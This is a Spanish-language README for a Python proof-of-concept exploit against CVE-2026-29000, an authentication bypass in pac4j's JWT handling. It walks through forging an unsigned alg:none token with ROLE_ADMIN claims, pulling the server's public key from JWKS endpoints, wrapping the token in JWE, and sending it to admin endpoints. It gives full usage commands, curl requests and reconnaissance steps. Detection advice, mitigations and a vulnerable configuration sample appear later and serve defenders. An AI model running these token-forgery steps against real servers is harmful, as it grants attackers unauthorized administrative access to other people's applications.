
POC en Python, Exploit para CVE-2026-29000
Prueba de Concepto para CVE-2026-29000 - Una vulnerabilidad crítica de bypass de autenticación en la implementación JWT de pac4j que permite a atacantes falsificar tokens de administrador sin una firma válida.
Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. El autor NO asume ninguna responsabilidad por el mal uso, daños o uso ilegal de este exploit.
Esta vulnerabilidad explota una falla en el mecanismo de autenticación JWT de pac4j donde la biblioteca:
alg: "none" en el encabezado JWTUn atacante puede crear un JWT sin firma con claims arbitrarios (como role: "ROLE_ADMIN"), cifrarlo en un contenedor JWE usando la clave pública del servidor y obtener acceso no autorizado a funcionalidades de administrador.
Para que este exploit tenga éxito, el servidor objetivo debe cumplir TODAS las siguientes condiciones:
El servidor debe exponer sus claves públicas a través de uno de estos endpoints:
/.well-known/jwks.json (endpoint OAuth/OIDC estándar)/api/auth/jwks (endpoint personalizado)Por qué: El exploit obtiene automáticamente la clave pública del servidor para cifrar el token JWE falsificado.
El servidor debe:
role en el payload del JWTROLE_ADMIN)Roles Comunes:
ROLE_ADMIN - Acceso administrativo completoROLE_USER - Acceso de usuario estándarEl servidor debe:
La aplicación debe usar pac4j con:
"none" o validación de algoritmo inadecuadarequests, jwcrypto# Clonar el repositorio
git clone https://github.com/yourusername/CVE-2026-29000.git
cd CVE-2026-29000
# Instalar dependencias
pip install -r requirements.txt
requests>=2.28.0
jwcrypto>=1.4.0
python3 exploit.py <TARGET_URL>
Ejemplo:
python3 exploit.py http://vulnerable-app.local:8080
El script hará lo siguiente:
role: "ROLE_ADMIN"python3 exploit.py http://vulnerable-app.local:8080 --username john
python3 exploit.py http://vulnerable-app.local:8080 --role ROLE_MODERATOR
Si el endpoint JWKS no es accesible públicamente, proporciona el JWK manualmente:
python3 exploit.py http://vulnerable-app.local:8080 \
--jwk '{"keys":[{"kty":"RSA","n":"...","e":"AQAB"}]}'
python3 exploit.py http://vulnerable-app.local:8080 \
--username hacker \
--role ROLE_ADMIN \
--jwk '{"keys":[{...}]}'
El exploit genera un token JWE en el siguiente formato:
Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0...
Usa el token en solicitudes HTTP para acceder a endpoints protegidos:
# Usando curl
curl -H "Authorization: Bearer <JWE_TOKEN>" \
http://vulnerable-app.local:8080/api/admin/dashboard
# Usando Python requests
import requests
headers = {"Authorization": f"Bearer {jwe_token}"}
response = requests.get("http://vulnerable-app.local:8080/api/admin", headers=headers)
curl -H "Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0..." \
http://vulnerable-app.local:8080/api/users/list
header = {"alg": "none", "type": "JWT"}
payload = {
"sub": "admin", # Nombre de usuario
"role": "ROLE_ADMIN", # Nivel de privilegio
"iss": "principal-platform", # Emisor
"iat": 1234567890, # Emitido en
"exp": 1234571490 # Expiración (1 hora)
}
El JWT se crea sin firma (alg: "none"), lo cual normalmente es inválido pero aceptado por servidores vulnerables.
El exploit consulta:
/.well-known/jwks.json (estándar OAuth/OIDC)/api/auth/jwks (endpoint personalizado)Esto recupera la clave pública RSA del servidor necesaria para el cifrado.
El JWT sin firma se cifra usando:
Esto crea un token JWE que el servidor puede descifrar pero no verificará la firma interna.
El token JWE se incluye en el encabezado Authorization:
Authorization: Bearer <JWE_TOKEN>
El servidor vulnerable lo descifra y extrae el JWT sin firma, confiando en los claims sin verificar la firma.
Unsigned JWT (alg:none)
↓
Wraps in JWE (with server's public key)
↓
Server receives JWE token
↓
Server decrypts JWE
↓
Extracts inner unsigned JWT
↓
❌ Server does NOT verify signature
↓
✅ Accepts claims as valid (role: ROLE_ADMIN)
↓
Attacker has admin access!
Exposición del Endpoint JWKS
/.well-known/jwks.json o /api/auth/jwks es accesible públicamenteRegistros de Validación JWT
alg: "none"Revisión de Configuración
# Reconocimiento
curl -s http://target:8080/.well-known/jwks.json | jq .
curl -s http://target:8080/api/auth/jwks | jq .
# Verificar si los tokens JWE son aceptados
curl -H "Authorization: Bearer eyJ..." http://target:8080/api/protected
Hacer Cumplir la Verificación de Firma
// BAD - Accepts unsigned tokens
JwtAuthenticator jwt = new JwtAuthenticator();
jwt.setAlgorithm(null); // ❌ Vulnerable
// GOOD - Requires valid signature
JwtAuthenticator jwt = new JwtAuthenticator(publicKey);
jwt.setAlgorithmsAllowedForSigning(Arrays.asList("RS256")); // ✅ Secure
Validar el Algoritmo JWT
alg: "none"Deshabilitar JWE si No es Necesario
Actualizar pac4j
Agregar Capas de Validación de Tokens
exp)iss)Restringir Acceso al Endpoint JWKS
location /.well-known/jwks.json {
allow 10.0.0.0/8; # Solo redes internas
deny all;
}
Monitorear Registros de Autenticación
alg: "none"Segmentación de Red
Auditorías de Seguridad Regulares
@Configuration
public class SecurityConfig {
@Bean
public JwtAuthenticator jwtAuthenticator() {
JwtAuthenticator authenticator = new JwtAuthenticator();
// ❌ VULNERABLE: No signature verification
authenticator.setAlgorithmsAllowedForSigning(null);
authenticator.setJwtClaimsValidation(false);
return authenticator;
}
@Bean
public JWEEncrypter encrypter() {
// Accepts JWE but doesn't verify inner JWT
return new JWEEncrypter();
}
}
Este exploit se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas.
El acceso no autorizado a sistemas informáticos es ilegal. Esta herramienta solo debe usarse en:
Los autores no son responsables por el mal uso o daños causados por esta herramienta.
Licencia MIT - Consulta el archivo LICENSE para más detalles.
¿Encontraste un error? ¿Tienes mejoras?
git checkout -b feature/improvement)git commit -m 'Add improvement')git push origin feature/improvement)Para problemas, preguntas o sugerencias:
Última Actualización: Mayo 2026
Autor: Equipo de Investigación en Seguridad
Estado: PoC Educativa